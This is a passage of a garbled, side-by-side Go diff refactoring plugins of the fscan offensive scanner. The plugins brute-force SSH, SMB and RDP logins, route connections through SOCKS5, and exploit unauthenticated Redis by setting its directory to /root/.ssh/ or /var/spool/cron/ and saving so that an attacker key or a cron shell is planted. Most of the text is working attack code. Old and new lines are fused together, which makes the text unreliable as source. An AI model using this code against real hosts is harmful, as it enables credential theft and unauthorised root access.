wg.Add(1) wg.Add(1)
go worker(info.Host, common.Domain, port, &wg, brlist, &signal, &num, all, &mutex, common.Timeout) go worker(info.Host, flags.Domain, port, &wg, brlist, &signal, &num, all, &mutex, flags.Timeout)
} }
close(brlist) close(brlist)
@ -107,13 +110,14 @@ func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool,
} }
type Client struct { type Client struct {
Host string // ip:port Host string // ip:port
tpkt *tpkt.TPKT proxy common.Socks5
x224 *x224.X224 tpkt *tpkt.TPKT
mcs *t125.MCSClient x224 *x224.X224
sec *sec.Client mcs *t125.MCSClient
pdu *pdu.Client sec *sec.Client
vnc *rfb.RFB pdu *pdu.Client
vnc *rfb.RFB
} }
func NewClient(host string, logLevel glog.LEVEL) *Client { func NewClient(host string, logLevel glog.LEVEL) *Client {
@ -125,8 +129,12 @@ func NewClient(host string, logLevel glog.LEVEL) *Client {
} }
} }
func (g *Client) setProxy(proxy common.Socks5) {
g.proxy = proxy
}
func (g *Client) Login(domain, user, pwd string, timeout int64) error { func (g *Client) Login(domain, user, pwd string, timeout int64) error {
conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", g.Host, sock5Proxy, time.Duration(timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -187,7 +195,7 @@ func (g *Client) Login(domain, user, pwd string, timeout int64) error {
glog.Info("on update:", rectangles) glog.Info("on update:", rectangles)
}) })
g.pdu.On("done", func() { g.pdu.On("done", func() {
if breakFlag == false { if !breakFlag {
breakFlag = true breakFlag = true
wg.Done() wg.Done()
} }

View File

@ -3,11 +3,12 @@ package Plugins
import ( import (
"bufio" "bufio"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"os" "os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
@ -15,19 +16,19 @@ var (
dir string dir string
) )
func RedisScan(info *common.HostInfo) (tmperr error) { func RedisScan(info *common.HostInfo, flags common.Flags) (tmperr error) {
starttime := time.Now().Unix() starttime := time.Now().Unix()
flag, err := RedisUnauth(info) flag, err := RedisUnauth(info, flags)
if flag == true && err == nil { if flag && err == nil {
return err return err
} }
if common.IsBrute { if flags.IsBrute {
return return
} }
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1) pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass) flag, err := RedisConn(info, flags, pass)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err) errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
@ -36,7 +37,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -44,10 +45,10 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { func RedisConn(info *common.HostInfo, flags common.Flags, pass string) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -56,7 +57,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
if err != nil { if err != nil {
return flag, err return flag, err
} }
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
return flag, err return flag, err
} }
@ -79,15 +80,15 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename) result := fmt.Sprintf("[+] Redis:%s %s file:%s/%s", realhost, pass, dir, dbfilename)
common.LogSuccess(result) common.LogSuccess(result)
} }
err = Expoilt(realhost, conn) err = Expoilt(realhost, conn, flags.RedisShell)
} }
return flag, err return flag, err
} }
func RedisUnauth(info *common.HostInfo) (flag bool, err error) { func RedisUnauth(info *common.HostInfo, flags common.Flags) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -96,7 +97,7 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
if err != nil { if err != nil {
return flag, err return flag, err
} }
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
return flag, err return flag, err
} }
@ -119,23 +120,23 @@ func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename) result := fmt.Sprintf("[+] Redis:%s unauthorized file:%s/%s", realhost, dir, dbfilename)
common.LogSuccess(result) common.LogSuccess(result)
} }
err = Expoilt(realhost, conn) err = Expoilt(realhost, conn, flags.RedisShell)
} }
return flag, err return flag, err
} }
func Expoilt(realhost string, conn net.Conn) error { func Expoilt(realhost string, conn net.Conn, redisShell string) error {
flagSsh, flagCron, err := testwrite(conn) flagSsh, flagCron, err := testwrite(conn)
if err != nil { if err != nil {
return err return err
} }
if flagSsh == true { if flagSsh {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if common.RedisFile != "" { if redisShell != "" {
writeok, text, err := writekey(conn, common.RedisFile) writeok, text, err := writekey(conn, redisShell)
if err != nil { if err != nil {
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text)) fmt.Printf("[-] %s SSH write key errer: %s", realhost, text)
return err return err
} }
if writeok { if writeok {
@ -147,11 +148,11 @@ func Expoilt(realhost string, conn net.Conn) error {
} }
} }
if flagCron == true { if flagCron {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if common.RedisShell != "" { if redisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell) writeok, text, err := writecron(conn, redisShell)
if err != nil { if err != nil {
return err return err
} }
@ -169,7 +170,7 @@ func Expoilt(realhost string, conn net.Conn) error {
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
flag = false flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -178,7 +179,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) _, err := conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -205,7 +206,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) _, err = conn.Write([]byte("save\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -228,7 +229,7 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
func writecron(conn net.Conn, host string) (flag bool, text string, err error) { func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
flag = false flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -237,7 +238,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
if err != nil { if err != nil {
return flag, text, err return flag, text, err
} }
@ -260,8 +261,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
return flag, text, err return flag, text, err
} }
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) if _, err = conn.Write([]byte("save\r\n")); err != nil {
if err != nil {
return flag, text, err return flag, text, err
} }
text, err = readreply(conn) text, err = readreply(conn)
@ -315,7 +315,7 @@ func readreply(conn net.Conn) (result string, err error) {
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
var text string var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
if err != nil { if err != nil {
return flag, flagCron, err return flag, flagCron, err
} }
@ -326,7 +326,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} }
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
if err != nil { if err != nil {
return flag, flagCron, err return flag, flagCron, err
} }
@ -341,7 +341,7 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
} }
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n"))) _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n"))
if err != nil { if err != nil {
return return
} }
@ -355,7 +355,7 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
} else { } else {
dbfilename = text1[0] dbfilename = text1[0]
} }
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n"))) _, err = conn.Write([]byte("CONFIG GET dir\r\n"))
if err != nil { if err != nil {
return return
} }
@ -377,16 +377,16 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
if err != nil { if err != nil {
return return
} }
dbfilename, err = readreply(conn)
if err != nil { if _, err = readreply(conn); err != nil {
return return
} }
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil { if err != nil {
return return
} }
dir, err = readreply(conn)
if err != nil { if _, err = readreply(conn); err != nil {
return return
} }
return return

View File

@ -2,58 +2,59 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect" "reflect"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"github.com/fatih/color"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
) )
func Scan(info common.HostInfo) { func Scan(info common.HostInfo, flags common.Flags) {
fmt.Println("start infoscan") fmt.Println("start infoscan")
Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) Hosts, err := common.ParseIP(&info.HostPort, info.Host, flags.HostFile, flags.NoHosts)
if err != nil { if err != nil {
fmt.Println("len(hosts)==0", err) fmt.Println("len(hosts)==0", err)
return return
} }
lib.Inithttp(common.Pocinfo) lib.Inithttp(flags)
var ch = make(chan struct{}, common.Threads) var ch = make(chan struct{}, flags.Threads)
var wg = sync.WaitGroup{} var wg = sync.WaitGroup{}
web := strconv.Itoa(common.PORTList["web"]) web := strconv.Itoa(common.PORTList["web"])
ms17010 := strconv.Itoa(common.PORTList["ms17010"]) ms17010 := strconv.Itoa(common.PORTList["ms17010"])
if len(Hosts) > 0 || len(common.HostPort) > 0 { if len(Hosts) > 0 || len(info.HostPort) > 0 {
if common.NoPing == false && len(Hosts) > 0 { if flags.NoPing == false && len(Hosts) > 0 {
Hosts = CheckLive(Hosts, common.Ping) Hosts = CheckLive(Hosts, flags.Ping, flags.LiveTop)
color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts)) color.Cyan("[*] Icmp alive hosts len is: %d", len(Hosts))
} }
if common.Scantype == "icmp" { if flags.Scantype == "icmp" {
common.LogWG.Wait() common.LogWG.Wait()
return return
} }
common.GC()
var AlivePorts []string var AlivePorts []string
if common.Scantype == "webonly" || common.Scantype == "webpoc" { if flags.Scantype == "webonly" || flags.Scantype == "webpoc" {
AlivePorts = NoPortScan(Hosts, info.Ports) AlivePorts = NoPortScan(Hosts, info.Ports, flags)
} else if common.Scantype == "hostname" { } else if flags.Scantype == "hostname" {
info.Ports = "139" info.Ports = "139"
AlivePorts = NoPortScan(Hosts, info.Ports) AlivePorts = NoPortScan(Hosts, info.Ports, flags)
} else if len(Hosts) > 0 { } else if len(Hosts) > 0 {
AlivePorts = PortScan(Hosts, info.Ports, common.Timeout) AlivePorts = PortScan(Hosts, info.Ports, flags)
color.Cyan("[*] alive ports len is: %d", len(AlivePorts)) color.Cyan("[*] alive ports len is: %d", len(AlivePorts))
if common.Scantype == "portscan" { if flags.Scantype == "portscan" {
common.LogWG.Wait() common.LogWG.Wait()
return return
} }
} }
if len(common.HostPort) > 0 { if len(info.HostPort) > 0 {
AlivePorts = append(AlivePorts, common.HostPort...) AlivePorts = append(AlivePorts, info.HostPort...)
AlivePorts = common.RemoveDuplicate(AlivePorts) AlivePorts = common.RemoveDuplicate(AlivePorts)
common.HostPort = nil info.HostPort = nil
color.Cyan("[*] AlivePorts len is:", len(AlivePorts)) color.Cyan("[*] AlivePorts len is:", len(AlivePorts))
} }
common.GC()
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...} var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList { for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port)) severports = append(severports, strconv.Itoa(port))
@ -61,53 +62,54 @@ func Scan(info common.HostInfo) {
fmt.Println("start vulscan") fmt.Println("start vulscan")
for _, targetIP := range AlivePorts { for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if common.Scantype == "all" || common.Scantype == "main" { if flags.Scantype == "all" || flags.Scantype == "main" {
switch { switch {
case info.Ports == "135": case info.Ports == "135":
AddScan(info.Ports, info, &ch, &wg) //findnet AddScan(info.Ports, info, flags, &ch, &wg) //findnet
if common.IsWmi { if flags.IsWmi {
AddScan("1000005", info, &ch, &wg) //wmiexec AddScan("1000005", info, flags, &ch, &wg) //wmiexec
} }
case info.Ports == "445": case info.Ports == "445":
AddScan(ms17010, info, &ch, &wg) //ms17010 AddScan(ms17010, info, flags, &ch, &wg) //ms17010
//AddScan(info.Ports, info, ch, &wg) //smb //AddScan(info.Ports, info, ch, &wg) //smb
//AddScan("1000002", info, ch, &wg) //smbghost //AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000": case info.Ports == "9000":
AddScan(web, info, &ch, &wg) //http AddScan(web, info, flags, &ch, &wg) //http
AddScan(info.Ports, info, &ch, &wg) //fcgiscan AddScan(info.Ports, info, flags, &ch, &wg) //fcgiscan
case IsContain(severports, info.Ports): case IsContain(severports, info.Ports):
AddScan(info.Ports, info, &ch, &wg) //plugins scan AddScan(info.Ports, info, flags, &ch, &wg) //plugins scan
default: default:
AddScan(web, info, &ch, &wg) //webtitle AddScan(web, info, flags, &ch, &wg) //webtitle
} }
} else { } else {
scantype := strconv.Itoa(common.PORTList[common.Scantype]) scantype := strconv.Itoa(common.PORTList[flags.Scantype])
AddScan(scantype, info, &ch, &wg) AddScan(scantype, info, flags, &ch, &wg)
} }
} }
} }
common.GC()
for _, url := range common.Urls { for _, url := range flags.Urls {
info.Url = url info.Url = url
AddScan(web, info, &ch, &wg) AddScan(web, info, flags, &ch, &wg)
} }
common.GC()
wg.Wait() wg.Wait()
common.LogWG.Wait() common.LogWG.Wait()
close(common.Results) close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
fmt.Printf("Finished %d/%d", common.End, common.Num)
} }
var Mutex = &sync.Mutex{} var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { func AddScan(scantype string, info common.HostInfo, flags common.Flags, ch *chan struct{}, wg *sync.WaitGroup) {
*ch <- struct{}{} *ch <- struct{}{}
wg.Add(1) wg.Add(1)
go func() { go func() {
Mutex.Lock() Mutex.Lock()
common.Num += 1 common.Num += 1
Mutex.Unlock() Mutex.Unlock()
ScanFunc(&scantype, &info) ScanFunc(scantype, info, flags)
Mutex.Lock() Mutex.Lock()
common.End += 1 common.End += 1
Mutex.Unlock() Mutex.Unlock()
@ -116,9 +118,9 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
}() }()
} }
func ScanFunc(name *string, info *common.HostInfo) { func ScanFunc(name string, info common.HostInfo, flags common.Flags) {
f := reflect.ValueOf(PluginList[*name]) f := reflect.ValueOf(PluginList[name])
in := []reflect.Value{reflect.ValueOf(info)} in := []reflect.Value{reflect.ValueOf(info), reflect.ValueOf(flags)}
f.Call(in) f.Call(in)
} }

View File

@ -3,25 +3,26 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb"
) )
func SmbScan(info *common.HostInfo) (tmperr error) { func SmbScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := doWithTimeOut(info, user, pass) flag, err := doWithTimeOut(info, flags, user, pass)
if flag == true && err == nil { if flag && err == nil {
var result string var result string
if common.Domain != "" { if flags.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, common.Domain, user, pass) result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, flags.Domain, user, pass)
} else { } else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass) result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
} }
@ -35,7 +36,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -44,7 +45,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { func SmblConn(info common.HostInfo, flags common.Flags, user string, pass string, signal chan struct{}) (flag bool, err error) {
flag = false flag = false
Host, Username, Password := info.Host, user, pass Host, Username, Password := info.Host, user, pass
options := smb.Options{ options := smb.Options{
@ -52,7 +53,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
Port: 445, Port: 445,
User: Username, User: Username,
Password: Password, Password: Password,
Domain: common.Domain, Domain: flags.Domain,
Workstation: "", Workstation: "",
} }
@ -67,15 +68,15 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
return flag, err return flag, err
} }
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { func doWithTimeOut(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
signal := make(chan struct{}) signal := make(chan struct{})
go func() { go func() {
flag, err = SmblConn(info, user, pass, signal) flag, err = SmblConn(info, flags, user, pass, signal)
}() }()
select { select {
case <-signal: case <-signal:
return flag, err return flag, err
case <-time.After(time.Duration(common.Timeout) * time.Second): case <-time.After(time.Duration(flags.Timeout) * time.Second):
return false, errors.New("time out") return false, errors.New("time out")
} }
} }

View File

@ -2,39 +2,40 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"net" "net"
"os" "os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"github.com/hirochachacha/go-smb2" "github.com/hirochachacha/go-smb2"
) )
func SmbScan2(info *common.HostInfo) (tmperr error) { func SmbScan2(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
hasprint := false hasprint := false
starttime := time.Now().Unix() starttime := time.Now().Unix()
hash := common.HashBytes hash := flags.HashBytes
for _, user := range common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
PASS: PASS:
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err, flag2 := Smb2Con(info, user, pass, hash, hasprint) flag, err, flag2 := Smb2Con(info, flags, user, pass, hash, hasprint)
if flag2 { if flag2 {
hasprint = true hasprint = true
} }
if flag == true { if flag {
var result string var result string
if common.Domain != "" { if flags.Domain != "" {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) result = fmt.Sprintf("[+] SMB2:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else { } else {
result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user) result = fmt.Sprintf("[+] SMB2:%v:%v:%v ", info.Host, info.Ports, user)
} }
if len(hash) > 0 { if len(hash) > 0 {
result += "hash: " + common.Hash result += "hash: " + flags.Hash
} else { } else {
result += pass result += pass
} }
@ -42,8 +43,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
return err return err
} else { } else {
var errlog string var errlog string
if len(common.Hash) > 0 { if len(flags.Hash) > 0 {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, common.Hash, err) errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, flags.Hash, err)
} else { } else {
errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = fmt.Sprintf("[-] smb2 %v:%v %v %v %v", info.Host, 445, user, pass, err)
} }
@ -53,11 +54,11 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
if len(common.Hash) > 0 { if len(flags.Hash) > 0 {
break PASS break PASS
} }
} }
@ -65,8 +66,8 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { func Smb2Con(info common.HostInfo, flags common.Flags, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(common.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", info.Host+":445", time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -77,7 +78,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
} }
initiator := smb2.NTLMInitiator{ initiator := smb2.NTLMInitiator{
User: user, User: user,
Domain: common.Domain, Domain: flags.Domain,
} }
if len(hash) > 0 { if len(hash) > 0 {
initiator.Hash = hash initiator.Hash = hash
@ -99,13 +100,13 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
} }
if !hasprint { if !hasprint {
var result string var result string
if common.Domain != "" { if flags.Domain != "" {
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v\\%v ", info.Host, info.Ports, flags.Domain, user)
} else { } else {
result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user) result = fmt.Sprintf("[*] SMB2-shares:%v:%v:%v ", info.Host, info.Ports, user)
} }
if len(hash) > 0 { if len(hash) > 0 {
result += "hash: " + common.Hash result += "hash: " + flags.Hash
} else { } else {
result += pass result += pass
} }
@ -126,51 +127,5 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
defer f.Close() defer f.Close()
flag = true flag = true
return return
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
} }
//if info.Path == ""{
//}
//path = info.Path
//f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
//if err != nil {
// return
//}
//flag = true
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return
//f, err := fs.Create(`Users\Public\Videos\hello.txt`)
//if err != nil {
// return
//}
//flag = true
//
//_, err = f.Write([]byte("Hello world!"))
//if err != nil {
// return
//}
//
//_, err = f.Seek(0, io.SeekStart)
//if err != nil {
// return
//}
//bs, err := ioutil.ReadAll(f)
//if err != nil {
// return
//}
//fmt.Println(string(bs))
//return

View File

@ -3,24 +3,25 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net" "net"
"os"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh"
) )
func SshScan(info *common.HostInfo) (tmperr error) { func SshScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["ssh"] { for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass) flag, err := SshConn(info, flags, user, pass)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -29,11 +30,11 @@ func SshScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
if common.SshKey != "" { if flags.SshKey != "" {
return err return err
} }
} }
@ -41,12 +42,12 @@ func SshScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func SshConn(info common.HostInfo, flags common.Flags, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
Auth := []ssh.AuthMethod{} var Auth []ssh.AuthMethod
if common.SshKey != "" { if flags.SshKey != "" {
pemBytes, err := ioutil.ReadFile(common.SshKey) pemBytes, err := os.ReadFile(flags.SshKey)
if err != nil { if err != nil {
return false, errors.New("read key failed" + err.Error()) return false, errors.New("read key failed" + err.Error())
} }
@ -62,7 +63,7 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
User: Username, User: Username,
Auth: Auth, Auth: Auth,
